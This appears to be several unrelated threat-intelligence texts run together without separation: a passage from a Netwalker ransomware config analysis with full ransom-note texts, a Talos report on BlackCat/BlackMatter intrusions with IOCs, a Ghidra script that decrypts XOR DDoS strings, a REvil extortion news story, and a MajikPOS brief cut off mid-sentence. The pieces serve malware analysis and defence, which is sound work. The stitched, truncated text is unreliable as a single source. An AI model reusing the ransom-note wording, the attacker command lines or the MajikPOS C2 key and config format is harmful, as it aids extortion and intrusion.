+1KtL9ibbeqaChhoz4iEHeTtRtw8pNA5yC034\/3klSA= 1 2ofyizDC65TzCiTW6SHYlP0mHF8VHklx5\/FFlECTOWE= 1 3ZVt8Qrdiimm/8OxCtmqUBZhZJ6DxqheQQ0wf9dIvU4= 1 7gkgNrgVvnSdnUifXmoRclyQU1tmmH9uLXZQ+mrJq1Y= 1 8kQrJzFg\/OugByxLk1JyT1cstH0gAQa6EmbRTJYIPyA= 1 9m56vLIZOlxhDtqMpZBLLOB21rKNaqnfMZmAICgbHB8= 1 9qQgCpjzg9Gg4R4QntJaXdyqbeK7tBKkyatX6U809B8= 1 9rekeP1eSTG+1alJX084XEnZkNZbMI2i7f7xMARuYG0= 1 9WMeeC/lNogGtJPPRqQRzty2DMwgPRBWyU7mLzp992E= 1 AopcQZuT8iGQsDBOQ5vum9rCosprWR4HAtyoDLBe2jk= 1 B1zaW+rgS4zOpn9MVHL0SXpAgmPx9992cw/zrjTStUQ= 1 bd9dpX2CspQ65wRiTP1TjN1cqwk8dSdJehbmYTNMxEY= 1 cePAiKEieIEsWYzINEJe7\/M7yXm+i6y\/Y+fjupgPdhc= 1 cT9cjcSYKMZMSxEObt0H0djsPtEVOW6Pfy0IU20uCEc= 1 EsvRQAFnerbfU8Z+27XyeJD82IPjl7PL62KSSzYOVUM= 2 ESw9E\/AaTiQ9oZfLKNquj2dHV3TqTFU8c4zjg7HLHRc= 1 EXgCIpycIJzspm07Loi9L5uOcxC+VZ/NjxWfOn7UqVE= 1 fXe6IoRs263eE42xnNF\/L5vYmC81qAS5F08zqHShBnE= 1 i3XpDekYmaDR5/C8gssEfc4BdgWSoKrU/RLtK10V4x8= 1 IrZwVI2HoRerwgd99xkmdIL3g0tfJOU1GoXMIPq5gkA= 1 izndhmDBfqQMxnbJX3rwRXETOO7hXuPRUrw91jUeuCE= 4 JgQzhhhjdTmwJuFlSWQ99dolV6sNRQWfNdqTbxulxCc= 1 JgRipXGeK7D6diXrdsBTdT\/o4ps0NS+6uUQ2K+lrmns= 1 JXrdFkPUAEVVROz8EN45wkOUGupEphGPQz4GoMLXwAk= 1 jZOEXL4Vyq413gNYUVSUuiJyvFvII63YSv3LMTm6YSQ= 1 kRmTz3GjStQDqVIO35VbP2DX5HzhQKd5bZJ5fkuQp2o= 1 LCiJ44QQcMh5P1jJtpV7XaJoMezvQc0D8bxdK97oWHM= 1 lxd4WwFEl80nASzXFosZNWY0+M3\/ljFwqXGcQ7C3Jmg= 1 O7iv5p+9M2xSENzUqbH2q4hEPiIShKQON7UQJZ\/qhxs= 1 pLcj6adbJHIyhEWwUd+Wht4pAXQMi4MhYXb1DmSE5Uc= 1 p+V4T581H2IJPowJP7b9Laa4P0cAfDgyREsFNhpETDw= 2 qGFBYhyYzmg5jkJh0giXpwDfUdbopaCdj4Zcxsdab0c= 1 RQfrkb+zP4wEDw4UerO5Xqwm/5R3zHSuTHD12cRuBTM= 4 srj15Yy9UFP\/jvwiLyCiEWXRb\/8RwnuHqGtdJCQzWk0= 1 sVMyZQe7xbAMYsKdX7B\/RmV92sc+Qd9YL7EmRVCZDnI= 1 TPeyvEhWusttXBNAkbii\/6tocN5IWcOl+O2JCMyXtWA= 2 uHbQk+xn3zyr9HAJIbR6wDKpszDZC2Dri\/D8cdZCPBU= 2 uMDlH\/VVLunARbKVQ4kKse+8Mdxbk00Pf+NSkoDASW0= 1 U+P1u\/vlAgiFK\/NnScZbuLtNbohxu\/65\/XiNMHzV82E= 1 usVG0ZPeGZRvG5clAh81RbrG7Whq9b3dtQ2tmoYf2iI= 1 vWdriuVFhHBNk87xEzAlkZNfVRnPIIn1PsCx8s/+Uj8= 1 w2nejMQFYibyk97OISK8vcRcoUeJz2c024P98feVuXs= 2 XfwHXZw5ITJ/PB4tTJaJCa9cbigLKwS1hlNyMvT3CnQ= 1 XQixjtCbv3GHOcOGAAnHAO2rJFTbq8jr4j6bkajSWjU= 1 YisAjypwt6EuV8PeHBflq\/sQwAWgo+Y6CI9NKu3Fu10= 1 z2qgNTBTz6Ff6XQROdTvmEiBJn+b+HV3+Gw97n0rZxk= 1 zxbaxrewir3mRzNnoTP5NYvdhQNmFKwczCHzih9Kig0= ``` The ‘lend’ value usually contains the ransom message, so we can dump out the values and see how often it has changed. When doing this, I noticed that most of the samples contained a generic message, but there were lots of samples that had slightly custom messages including victim names. ```plaintext c21ecd18f0bbb28112240013ad42dad5c01d20927791239ada5b61e1c6f5f010 Hello, O2MICRO. Your files are encrypted by Netwalker. All encrypted files for this computer have extension: .{id} 3ba905e1cda7307163d4c8fe3fd03c2fbce7eda030522084e33d0604c204630e Hi University of Seattle, Your files are encrypted. All encrypted files for this computer have extension: .{id} 0d7ee7ce88e790ad66aa53589f5a2638207bc3adf2eb4f8a813fd52b5b22ba27 Hi Stellar, Your files are encrypted. All encrypted files for this computer have extension: .{id} b2d68a79a621c3f9e46f9df52ed19b8fec22c3cf5f4e3d8630a2bc68fd43d2ee Hi InventUsPower, Your files are encrypted by Netwalker. All encrypted files for this computer have extension: .{id} 29aef790399029029e0443455d72a8b928854a0706f2e211ae7a03bba0e3d4f4 Hi Bolloré, Your files are encrypted. All encrypted files for this computer have extension: .{id} ``` Also, a version that warns of releasing stolen data: ```plaintext 26dfa8512e892dc8397c4ccbbe10efbcf85029bc2ad7b6b6fe17d26f946a01bb Hi! Your files are encrypted. All encrypted files for this computer have extension: .{id} – If for some reason you read this text before the encryption ended, this can be understood by the fact that the computer slows down, and your heart rate has increased due to the ability to turn it off, then we recommend that you move away from the computer and accept that you have been compromised. Rebooting/shutdown will cause you to lose files without the possibility of recovery. – Our encryption algorithms are very strong and your files are very well protected. The only way to get your files back is to cooperate with us and get the decrypter program. Do not try to recover your files without a decrypter program; you may damage them and then they will be impossible to recover. For us, this is just business, and to prove to you our seriousness, we will decrypt one file for free. Just open our website, upload the encrypted file, and get the decrypted file for free. Additionally, your data may have been stolen, and if you do not cooperate with us, it will become publicly available on our blog. — Steps to get access on our website: 1. Download and install tor-browser: https://torproject.org/ 2. Open our website: {onion1} If the website is not available, open another one: {onion2} 3. Put your personal code in the input form: {code} ``` ## Routines This is not an exhaustive list by any means but is listed in the most common to least common order and are probably the algorithms I find most often inside of malware. **Encoding:** - Base64 **Encryption:** - RC4 - XTEA - AES - RC6 **Hashing:** - CRC32 - MD5 - SHA256 - SHA512 **Compression:** - APLIB - FLATE - GZIP - ZLIB - LZ
# From BlackMatter to BlackCat: Analyzing Two Attacks from One Affiliate By Tiago Pereira with contributions from Caitlin Huey. BlackCat is a recent and growing ransomware-as-a-service (RaaS) group that targeted several organizations worldwide over the past few months. There are rumors of a relationship between BlackCat and the BlackMatter/DarkSide ransomware groups, infamous for attacking the Colonial Pipeline last year. According to a BlackCat representative, BlackCat is not a rebranding of BlackMatter, but its team is made from affiliates of other RaaS groups (including BlackMatter). Talos has observed at least one attacker that used BlackMatter was likely one of the early adopters of BlackCat. In this post, we'll describe these attacks and the relationship between them. Understanding the techniques and tools used by RaaS affiliates helps organizations detect and prevent attacks before the ransomware itself is executed, at which point, every second means lost data. BlackCat ransomware, also known as "ALPHV," has quickly gained notoriety for being used in double ransom (encrypted files and stolen file disclosure) attacks against companies. It first appeared in November 2021 and, since then, several companies have been hit across the globe. However, more than 30 percent of the compromises happened to U.S.-based companies. Several security companies have noticed a connection between the BlackCat, BlackMatter, and DarkSide ransomware groups. Recently, in a Recorded Future interview with a BlackCat representative, the representative confirmed that there was a connection, but no rebranding or other direct relationship. The BlackCat representative explained that the operators are instead affiliates of other RaaS operations and the actors built upon a foundation of their previous knowledge gained as part of other groups. Affiliates in this context are the groups that compromise companies' networks and deploy the ransomware provided by the RaaS operators. If this is true, BlackCat seems to be a case of vertical business expansion. In essence, it's a way to control the upstream supply chain by making a service that is key to their business (the RaaS operator) better suited for their needs and adding another source of revenue. Vertical expansion is also a common business strategy when there is a lack of trust in the supply chain. There are several cases of vulnerabilities in ransomware encryption, and even of backdoors that can explain a lack of trust in RaaS. One particular case mentioned by the BlackCat representative was a flaw in DarkSide/BlackMatter ransomware allowing victims to decrypt their files without paying the ransom. Victims used this vulnerability for several months, resulting in big losses for affiliates. ## BlackCat/BlackMatter Connection While researching a BlackCat ransomware attack from December 2021, we observed a domain (and respective IP addresses) used to maintain persistent access to the network. This domain had also been used in a BlackMatter attack in September 2021. Further analysis revealed more commonalities, such as tools, file names, and techniques that were common to both ransomware variants. Affiliates are responsible for compromising systems and deploying ransomware, so it is likely that attacks carried out by the same ransomware family may differ in techniques and procedures. On the other hand, RaaS operators are known to make training materials and general techniques and tools available to their affiliates, like the leaked Conti ransomware playbook covered by Talos in a previous blog. This may suggest there are some similarities across affiliates. One difference we would expect to see across RaaS affiliates is the command and control (C2) infrastructure used for certain attacks. However, the overlapping C2 address found used in the BlackMatter and BlackCat attacks lead us to assess with moderate confidence that the same affiliate was responsible for both attacks. This connection suggests that a BlackMatter affiliate was likely an early adopter — possibly in the first month of operation — of BlackCat. This is further evidence to support the rumors that there are strong ties between BlackMatter and BlackCat. ## Attack Details We analyzed the actions taken by what we believe to be the same affiliate/attackers in the December BlackCat attack and a September BlackMatter attack. In terms of attack flow, the attacks were similar to other human-operated ransomware attacks: initial compromise, followed by an exploration and data exfiltration phase, then attack preparation and finally, the attack execution. ### Initial Access We could not identify the initial compromise vector for the BlackCat attack. It is likely that the attack happened on a system not monitored by Cisco Talos telemetry or that a previously compromised account was used to log into an exposed system. There was evidence in the BlackMatter attack that the actor established initial access via the possible exploitation of Microsoft Exchange vulnerabilities. However, we could not directly tie attempts of exploiting vulnerabilities in Microsoft Exchange to the attack and, for this reason, we assess with low confidence that the attack may have started with the exploitation of a vulnerability in Exchange. ### Persistence Beyond the access provided by the first exploitation vector, the attackers made sure they had additional remote access to several internal systems. During the BlackCat attack, the actors used a tool called reverse-ssh, compiled with the C2 server address embedded, to set up reverse SSH tunnels and provide reverse shells to the attacker. Reverse-ssh was deployed to C:\ directory and named: system, Windows or cache task. It was also observed hidden by writing to an alternate data stream (ADS) of the C:\ directory. The “image file execution option” debugger registry key was another way to ensure the malicious file would be persistently executed on the system. During the BlackMatter attack, the group used a similar technique but with a different tool: GO Simple Tunnel (GOST). GOST is a Go-based tunneling tool that was used to establish a reverse SSH tunnel to an attacker-controlled C2 server. This C2 server is the same that was used in the BlackCat attack. The name used for the deployed GOST file was "system.exe," similar to the file name used in the BlackCat attack for reverse-ssh. The same C2 domain was used in both attacks. ### Defense Evasion During the BlackCat attack, logs were disabled on several systems to avoid detection. For example, before setting up the reverse-ssh scheduled task tool, attackers disabled logs for the task scheduler. The anti-rootkit tool Gmer was loaded into a small number of key systems. We believe the attackers used this to disable endpoint protection. ### Credential Access Local and domain user credentials were collected, on a few key systems, by dumping the LSASS process memory and extracting credentials with Microsoft Sysinternals Procdump and Dumpert. During the BlackMatter attack, the attacker used comsvcs.dll directly to dump LSASS memory. Beyond the Windows login credentials, during the BlackCat attack, the attackers used a tool named "steal.exe" to harvest additional data. We could not obtain the binary, but based on the creation of a results folder with an "archive.zip" file inside it, we believe the tool may be HackBrowserData, or a version of it. ### Discovery During the BlackCat attack, we observed network scanning and reconnaissance using softperfect network scanner. This tool has many features beyond simple network scanning and was probably a valuable tool in understanding systems roles and network infrastructure and possible lateral movement. ADRecon was also used to collect information from Active Directory and its key servers. During the BlackMatter attack, the attackers also searched for additional ways to maintain access. ### Lateral Movement We observed lateral movement using three main tools and techniques, including Impacket's wmiexec, PowerShell using WinRM service, and Microsoft Remote Desktop. Impacket's WMIExec provides a shell on remote systems that have the WMI service exposed. We observed its use in both the BlackCat and BlackMatter attacks. This tool's activity can be detected by detecting processes created by wmipsrv.exe that terminate with specific strings. WinRM allows attackers to use PowerShell to execute commands on remote machines. This tool can be detected by searching for processes started by "wsmprovhost.exe". Other lateral movement techniques observed include PsExec on both attacks and RemCom — an open-source version of psexec — during the BlackMatter attack. ### Command and Control Interestingly, due to what seems to be an OPSEC mistake using the attacker's shell upload and download command, they revealed the use of Kali Linux to execute remote commands. It is unlikely that the attackers had a Kali Linux installation inside the victim's network, so remote control of the systems was likely achieved through the SSH tunnels described earlier. ### Exfiltration Although we observed a suspiciously large number of documents opened and screenshots taken from one of the compromised systems, we did not identify techniques used to exfiltrate data from the network. It is possible that document exfiltration is carried out by the execution of upload/download commands similar to the ones listed above. ### Impact In both attacks, before the actual execution of the ransomware, the attackers performed several actions preparing systems to make the execution as successful as possible. On the day of the attack, the attacker logged in to the domain controller and opened the group policy management interface. The attackers then dropped and executed a file named "apply.ps1." We believe this script created and prepared the group policy to cause the execution of the ransomware throughout the domain. This execution results in the immediate writing of group policy files to disk and is followed by the execution of the following command to force the deployment of the group policy. A few minutes before BlackCat ransomware started encrypting files, the attackers executed a script called "defender.vbs." In the BlackMatter attack, the exact same file was named "def.vbs" and executed minutes before the encryption began. We believe this is part of the attack, but at this time do not know the exact role of this script. When encryption begins, the ransomware file named <num>.exe in the BlackCat attack and, similarly, <num>.exe in the BlackMatter attack, was dropped on the domain servers inside the SYSVOL folder, making it accessible on the NETLOGON network share, accessible by all users in the domain. File encryption makes all systems execute these files from the remote share. The following variations of the BlackCat command were observed: - <num>.exe --access-token <token> /f - <num>.exe --access-token <token> --no-prop-servers \\<hostname> --propagated - <num>.exe -access-token <token> -v -p \\<hostname>\scans - <num>.exe --child --access-token <token> - <num>.exe -access-token <token> -v -p . The BlackCat executable deployed other commands to make its execution more effective. ## Conclusion BlackCat first surfaced in November 2021, with the attack we described here taking place in December 2021. While we don't know how related BlackCat is to BlackMatter, we assess with moderate confidence that based on the tools and techniques of these attacks and overlapping infrastructure, BlackMatter affiliates were likely among the early adopters of BlackCat. As we have seen several times before, RaaS services come and go. Their affiliates, however, are likely to simply move on to a new service. And with them, many of the TTPs are likely to persist. One key aspect of these attacks is that adversaries take time exploring the environment and preparing it for a successful and broad attack before launching the ransomware, at which point every second means lost data. Therefore, it is key that the attack is detected in its early stages. The two attacks described here took over 15 days to reach the encryption stage. Knowing the attackers' tools and techniques and having monitoring and response processes in place could have prevented the successful encryption of the companies' files. Talos will continue to monitor RaaS and their affiliates' activities and provide intelligence, detection rules, and indicators to help defenders as they work to protect their networks. ## IOCs **Domains - Common:** - windows[.]menu **IP's - Common:** - 52.149.228[.]45 - 20.46.245[.]56 **Hashes - Common:** - Apply.ps1 - D97088F9795F278BB6B732D57F42CBD725A6139AFE13E31AE832A5C947099676 - defender.vbs - B54DD21019AD75047CE74FE0A0E608F56769933556AED22D25F4F8B01EE0DA15 **Hashes - BlackCat:** - Reverse-ssh (compiled with hardcoded domain): 47AFFAED55D85E1EBE29CF6784DA7E9CDBD86020DF8B2E9162A0B1A67F092DCD - stealer: 65DBAFE9963CB15CE3406DE50E007408DE7D12C98668DE5DA10386693AA6CD73 - Blackcat ransomware: 060CA3F63F38B7804420729CDE3FC30D126C2A0FFC0104B8E698F78EDAB96767 **Hashes - BlackMatter:** - BlackMatter ransomware: 706F3EEC328E91FF7F66C8F0A2FB9B556325C153A329A2062DC85879C540839D
# Ghidra Script to Decrypt a String Array in XOR DDoS The XOR DDoS bot, an ELF file for Linux distributions, is used to perform DDoS attacks. This article focuses on a rather small segment of the malware family: the internally used encrypted string array, and its decryption. This article will dive into arrays, the decryption loop, the decryption routine, and the creation of a Ghidra script in Java to automate this process. ## The Sample The sample can be downloaded from VirusBay, Malware Bazaar, or MalShare. The hashes are given below. - MD5: 349456ecaa1380a142f15810a8260378 - SHA-1: 02dd15ecdeedefd7a2f82ba0df38703a74489af3 - SHA-256: 0f00c2e074c6284c556040012ef23357853ccac4ad1373d1dea683562dc24bca - Size: 625889 bytes ## Used Tooling The analysis in this article has been done with a self-built version of Ghidra. The used sources date back to the first of June 2021. The used for-loop that is seen later in this article is displayed as a while-loop in earlier Ghidra versions. Other than that, no significant changes are present between versions. All analysis options have been used when analyzing the file. ## Arrays in Theory Arrays, disregarding of the type, are structured the same way. The first element, which resides at index zero, marks the start of the array, followed by the other elements if present. To obtain the element for a given index, the size of each element is multiplied by the index number, which is then added to the address of the first element. The code below provides an example in pseudo code, where T is the element’s type. ```pseudo long elementAddress = arrayBase + (sizeof(T) * i); ``` When dealing with strings, the length can be variable, as not all strings have the same length. In some cases, strings with a fixed length are used, which uses more memory than is required, but makes it easy to find the element for a given index. Alternatively, the string’s length can be calculated using `strlen`, which is then used instead of the `sizeof` function. This requires more CPU cycles, as the string length needs to be calculated, but it uses less memory. ## Understanding the Loop The given sample contains symbols, which make the analysis easier. The main function is already called `main`, and contains the decryption loop for the string array at `0804d12a`. The complete loop’s assembly code is given below. ``` MOV dword ptr [EBP + local_3c],0x0 JMP LAB_0804d12e LAB_0804d108 MOV EDX,dword ptr [EBP + local_3c] MOV EAX,EDX SHL EAX,0x2 ADD EAX,EDX SHL EAX,0x2 ADD EAX,daemonname MOV dword ptr [ESP + local_3dec],0x14 MOV dword ptr [ESP]=>local_3df0,EAX CALL encrypt_code ADD dword ptr [EBP + local_3c],0x1 LAB_0804d12e CMP dword ptr [EBP + local_3c],0x16 JBE LAB_0804d108 ``` The loop starts with the initialization of a variable to store the count in. This variable is commonly named `i` when named by programmers. In this case, the variable is named `local_3c` by Ghidra. A jump is then made downwards, where the value of `local_3c` is compared to `0x16`, or 22 in decimal. If the value of `local_3c` is below or equal, the jump upwards is taken. The two labels, `LAB_0804d108` and `LAB_0804d12e`, can be renamed to `loop_body` and `loop_compare` respectively to increase readability. The variable `local_3c` can be renamed to `i` for further clarification. To understand the loop’s body, each instruction will be explained below, in the usual step-by-step manner. At first, the value of `i`, which resides at `EBP + i` is moved into `EDX`, after which it is also moved into `EAX`. ``` MOV EDX,dword ptr [EBP + i] MOV EAX,EDX ``` Next, the value in `EAX` is shifted left by two bits. A left shift of N equals two to the power of N. In this case, it means that `EAX` is multiplied by four. ``` SHL EAX,0x2 ``` The value of `i` is then added to `EAX`, after which it is multiplied by four again. ``` ADD EAX,EDX SHL EAX,0x2 ``` The variable named `daemonname` refers to the string array, although Ghidra does not recognize the type due to the fact that it contains the encrypted strings. The base address of the array is then added to `EAX`. ``` ADD EAX,daemonname ``` In short, `EAX` contains the array’s base address and the offset based on `i`. The next three instructions push two arguments on the stack, after which the decryption function (named `encrypt_code`) is called. The first argument, as they are read from the stack in the reverse order, is equal to `EAX`, which contains the current element’s address. The second argument is equal to `0x14`, or 20 in decimal. As such, it becomes apparent that this string array is based on strings with a fixed length, although this does not mean that every string is 20 bytes in size. Rather, the length of each string is between 0 and 19, given that each string is terminated with a null byte. ``` MOV dword ptr [ESP + local_3dec],0x14 MOV dword ptr [ESP]=>local_3df0,EAX CALL encrypt_code ``` At last, the value of `i` is incremented with one. ``` ADD dword ptr [EBP + i],0x1 ``` The calculation for the offset of the next element can be simplified as follows. ```java for (int i = 0; i <= 0x16; i++) { int result = i; result = result * 4; result += i; result = result * 4; System.out.println(result); } ``` Further simplified, one can rewrite the code above as follows. ```java for (int i = 0; i <= 0x16; i++) { int result = ((i * 4) + i) * 4; System.out.println(result); } ``` Since multiplication is the same as repeated addition, one can even further simplify the formula. At first, `i` is multiplied by four, after which `i` is added. This can be simplified by stating that `i` is multiplied by five. The outcome of this is multiplied by four. As such, the original value is multiplied by four, after which its multiplied by five. In total, `i` is multiplied by (four times five) twenty. The code below shows the simplification in several steps. ``` ((i * 4) + i) * 4; (i * 5) * 4 i * 20 ``` The likely reason as to why the code looks like this is the efficiency of the shift instructions, when compared to the multiplication instructions. The compiler likely chose to replace a single multiplication with less resource-intensive instructions. When looking at the main function in Ghidra’s decompiler, one can find the string array decryption loop at line 100, 101, and 102. The excerpt is given below. Note that the refactoring of the variables in the assembly code is reflected in this code. ```java for (i = 0; i < 0x17; i = i + 1) { encrypt_code(daemonname + i * 0x14,0x14); } ``` Note that this loop displays `0x17` with regards to the amount of iterations, rather than `0x16`. The condition for the loop is less than, rather than less than or equal, meaning the value needs to be incremented with one. Fully understanding the code, and how it is generated, will be useful when creating a Ghidra script later on. ## Remaking the Decryption Routine The decryption function, named `encrypt_code`, is used to decrypt a given encrypted string with a given length. The function is given below. ```c byte * encrypt_code(byte *param_1,int param_2) { byte *local_10; int local_c; local_10 = param_1; for (local_c = 0; local_c < param_2; local_c = local_c + 1) { *local_10 = *local_10 ^ xorkeys[local_c % 0x10]; local_10 = local_10 + 1; } return param_1; } ``` The first argument (named `param_1`) can be renamed into `input`, whereas the second argument (named `param_2`) can be renamed into `length`. The variable named `local_10` is a copy of the given input, as it points to the same value. As such, it can be renamed into `inputCopy`. The loop uses `local_c` as its counter, which can be renamed into `i`. The refactored code is given below. ```java byte * encrypt_code(byte *input,int length) { byte *inputCopy; int i; inputCopy = input; for (i = 0; i < length; i = i + 1) { *inputCopy = *inputCopy ^ xorkeys[i % 0x10]; inputCopy = inputCopy + 1; } return input; } ``` The variable `xorkeys` is a string, although Ghidra does not recognize it as such. Changing the type, using `T` as a hotkey in the disassembly view, will display its content. Alternatively, one can also get the raw value of the bytes instead. The key equals `BB2FA36AAA9541F0`. When rewriting the decryption function in Java, there is one more thing to take into account. Strings in C end with a null byte, but when using a byte array to create a string in Java, this byte is to be omitted. As not all strings are equal to the predefined length, a check is to be included to break the loop when the null byte is encountered. When breaking the loop, the bytes that have been decrypted thus far are to be used to create a new string. The recreated function is given below. ```java private String decrypt(byte[] input, char[] key) { byte[] output = new byte[input.length]; for (int i = 0; i < input.length; i++) { if(input[i] == 0) { break; } output[i] = (byte) (input[i] ^ key[i % 0x10]); } return new String(output); } ``` Note that the key is passed as an argument to the function, as this will come in useful when creating the script. By passing the value as an argument to the function, one can keep all variables in a single place within the script. ## Writing the Ghidra Script The script itself uses the decryption function that was created in the previous step. To decrypt the string array, several variables need to be initialized first. The decryption key, as is required by the decryption function, as well as the location of the array (defined as `arrayBase`), the size of a single element (defined as `elementSize`), and the amount of elements of the array (defined as `arraySize`). ```java char[] key = "BB2FA36AAA9541F0".toCharArray(); int arrayBase = 0x080cf1c0; int elementSize = 0x14; int arraySize = 0x17; ``` To get the value of each element, one needs to multiply the loop count with the predefined element size, after which the array’s base address is added. To get the data from the sample, one can use the `getBytes` function, which requires an Address to know where to start reading the bytes from, and an integer to know how many bytes should be read. To convert an integer, long, or string to an Address object, one needs to use the `toAddr` function. The obtained bytes are decrypted by the decryption function, along with the decryption key. The result is then printed to Ghidra’s console. ```java try { for (int i = 0; i < arraySize; i++) { int offset = i * elementSize; int location = arrayBase + offset; byte[] input = getBytes(toAddr(location), elementSize); String decrypted = decrypt(input, key); println(decrypted); } } catch (MemoryAccessException e) { e.printStackTrace(); println("\nA memory access exception occurred, please refer to the stacktrace above for more information"); } ``` In the case of an error with the `getBytes` function, a `MemoryAccessException` is thrown. ## Conclusion Decrypting content from a sample provides a lot more insight as to what the sample does, especially because these strings are concealed for a reason. In some cases, bots within the same family reuse the encryption key. If the key changes, it is easy to replace it in the script, or make use of a dialog in the script that requests the key once executed. Understanding how to easily access variables and memory in a script in Ghidra is helpful when analyzing any sample. Given that some code segments are easy to reuse, it is useful to create scripts that are made up of easily reusable functions. ## The Complete Script The complete script, including documentation, is given below. Note the hardcoded key, element length, and array length. ```java // This script is used to decrypt a string array within the XOR DDoS bot. Note that it // the array's location, element size, and array size are hardcoded in the script. // @author Max 'Libra' Kersten // @category string array decryption import ghidra.app.script.GhidraScript; import ghidra.program.model.mem.MemoryAccessException; public class xorddos_array_decryption extends GhidraScript { @Override protected void run() throws Exception { char[] key = "BB2FA36AAA9541F0".toCharArray(); int arrayBase = 0x080cf1c0; int elementSize = 0x14; int arraySize = 0x17; try { for (int i = 0; i < arraySize; i++) { int offset = i * elementSize; int location = arrayBase + offset; byte[] input = getBytes(toAddr(location), elementSize); String decrypted = decrypt(input, key); println(decrypted); } } catch (MemoryAccessException e) { e.printStackTrace(); println("\nA memory access exception occurred, please refer to the stacktrace above for more information"); } } private String decrypt(byte[] input, char[] key) { byte[] output = new byte[input.length]; for (int i = 0; i < input.length; i++) { if(input[i] == 0) { break; } output[i] = (byte) (input[i] ^ key[i % 0x10]); } return new String(output); } } ```
# REvil Gang Tries to Extort Apple, Threatens to Sell Stolen Blueprints The REvil ransomware gang asked Apple to "buy back" stolen product blueprints to avoid having them leaked on REvil's leak site before today's Apple Spring Loaded event. The ransomware gang wants Apple to pay a ransom by May 1st to prevent its stolen data from being leaked and added that they are also "negotiating the sale of large quantities of confidential drawings and gigabytes of personal data with several major brands." REvil tried to extort Apple only after Quanta Computer, a leading notebook manufacturer and one of Apple's business partners, refused to communicate with the ransomware gang or pay the ransom demanded after they allegedly stole "a lot of confidential data" from Quanta's network. Quanta is a Taiwan-based original design manufacturer (ODM) and an Apple Watch, Apple Macbook Air, and Apple Macbook Pro maker. Quanta has a long list of high-profile customers, including Apple, Dell, Hewlett-Packard, Alienware, Lenovo, Cisco, and Microsoft. Based on the number of ODM laptop units sold, Quanta is the world's second-largest original design manufacturer of laptops, only behind Compal, who was also targeted by ransomware last year. According to the Tor payment page shared with BleepingComputer, Quanta has to pay $50 million until April 27th, or $100 million after the countdown ends. So far, REvil leaked over a dozen schematics and diagrams of MacBook components on its dark web leak site, although there is no indication that any of them are new Apple products. In a negotiation chat on REvil's payment site seen by BleepingComputer, REvil warned that "drawings of all Apple devices and all personal data of employees and customers will be published with subsequent sale" if Quanta did not begin negotiating a ransom. After that time frame expired, REvil published the schematics on their data leak site. REvil is a ransomware-as-a-service (RaaS) operation known for recruiting affiliates to breach corporate networks, steal unencrypted data, and encrypt devices. Once a ransom payment is made, the REvil core developers and the affiliates split the payment, with the affiliates generally getting the larger share. REvil has been on a hacking spree over the last month, demanding extremely high ransom demands in attacks targeting Acer ($50 million), Pierre Fabre ($25 million), and Asteelflash ($24 million). Cybersecurity researchers have told BleepingComputer that they believe REvil has been making extremely high demands to start at a higher negotiation price. "Quanta Computer’s information security team has worked with external IT experts in response to cyber attacks on a small number of Quanta servers," a Quanta spokesperson told BleepingComputer. "We’ve reported to and kept seamless communications with the relevant law enforcement and data protection authorities concerning recent abnormal activities observed. There’s no material impact on the Company’s business operation." "The information security defense mechanism was activated in no time while conducting a detailed investigation to ensure containment and recovery of data are in process and a small range of services impacted by the attacks were brought back to normal. Consequently, we upgraded the level of cybersecurity by reviewing and enhancing current infrastructure for information security and protection." An Apple spokesperson was not available for comment when contacted by BleepingComputer earlier today.
# MajikPOS Combines PoS Malware and RATs to Pull Off its Malicious Tricks ## MajikPOS is a Mishmash of Nefarious Tricks Crooks behind MajikPOS have various tricks up their sleeves. Apart from infecting systems with it, we also spotted instances where common lateral movement tools were detected around the same time they were actively compromising the endpoint with MajikPOS. These tools include HKTL_MIMIKATZ, HKTL_FGDUMP, and HKTL_VNCPASSVIEW. We surmise that the bad guys attempted to gain further access within the victim’s network. In separate isolated incidents, we also noticed the deployment of MajikPOS via PsExec, a command-line tool that can be used to remotely execute processes on other systems. This may indicate that valid, administrative-level credentials were used against the host. The attackers also tend to deploy what works or what's convenient, as we’ve also seen them attempt to infect the target host with other PoS malware such as PwnPOS (TSPY_PWNPOS.SMA) and BlackPOS (TSPY_POCARDL.AI). One of MajikPOS’s striking functionalities is how it can take two parts to operate: the main component, often called csrss.exe, and conhost.exe, which is in charge of the scraping routine. Only the main component, csrss.exe, is often deployed; if access to the C&C server is blocked, then full infection doesn’t occur and the endpoint is left with a similarly-named system file. We also construe that csrss.exe and conhost.exe are so named as an effort by the MajikPOS’s author to hide the malware, as they mimic common file names in Microsoft Windows. Additionally, MajikPOS opts to use uncommon ports as its C&C channel. We’re not certain why, as the customary approach for malware nowadays is to try blending in within normal user traffic, and use the more commonly utilized HTTP (TCP port 80) or HTTPS (TCP port 443). This technical brief provides an in-depth look into MajikPOS’s attack chain and routines. ## Entry Point and Attack Chain - **Unsecure VNC and RDP**: While port scanning of hosts directly accessible via the internet happens all the time (and not all result in a compromise), we observed that targets are initially identified by having open ports related to VNC (like TCP port 5900) and RDP (usually TCP port 3389). - **Previously installed malicious backdoors, or RATs**: Most of the backdoors involved have the functionality to acquire information from—and provide remote access to—the endpoint. These RATs can be purchased in the underground, and are otherwise easy to come by. The MajikPOS-infected endpoints we observed would have one or more of the following RATs: - Remcos (BKDR_SOCMER.SM) - SpyGate (BKDR_BLADABI.SMC) - Luminosity Link (BKDR_LUMINOSITY.SM1) - Xtreme (WORM_XTREME.SMM) ### Configuration and C&C Communication MajikPOS contacts its C&C server to register the infected system, along with the local IP address, Hardware ID (HWID), Operating System (OS), and computer name. All communication between client and server is encrypted with AES-ECB with Base64 encoding. The key used in the sample we analyzed (427f1bf2b91cad1e9a4b7e095d6c83763f1bd50d6b8d515d3dbee9f96ef47097) is: `@#$%^&*()<>,./;'-==oqwertgnhiopl` Once registered, the server replies with a configuration file in this format: `ok<password for update>#<regex for track2>|<regex for track1>#<whitelisted processes>` The malware then asks the server to update the executable while passing along the HWID and password—the first data from its configuration. As a result, another file is downloaded from the server, which is saved and executed in the system as “%WinDir%\conhost.exe”. Conhost.exe is then executed with encrypted arguments. The malware continues to do a task request from the server while the downloaded component runs in parallel. As of this time, only “exeupdate” was executed, but code analysis indicates that it can also delete itself from the system using the command “deletebot”. The C&C servers are coded within the malware binary, which utilized both domain names and IP addresses—the domain names were not employing Domain Generation Algorithm (DGA). ## RAM-scraping Routine Conhost.exe is the component responsible for RAM scraping. It uses information from the configuration file for this routine—a whitelist of processes to be skipped when scanning for credit card track data; and regular expressions that verify Track 1 and Track 2 data. PoS malware typically scan the process memory of PoS software, where the credit card data are located; they are also stored on the magnetic stripe tracks (1, 2, and 3). A PoS malware would need to conduct pattern matching on the track data (sometimes only track 2) to identify the credit card dumps in memory. Track 1 contains the credit card number, expiration date, service code, and the cardholder’s name, while Track 2 has the 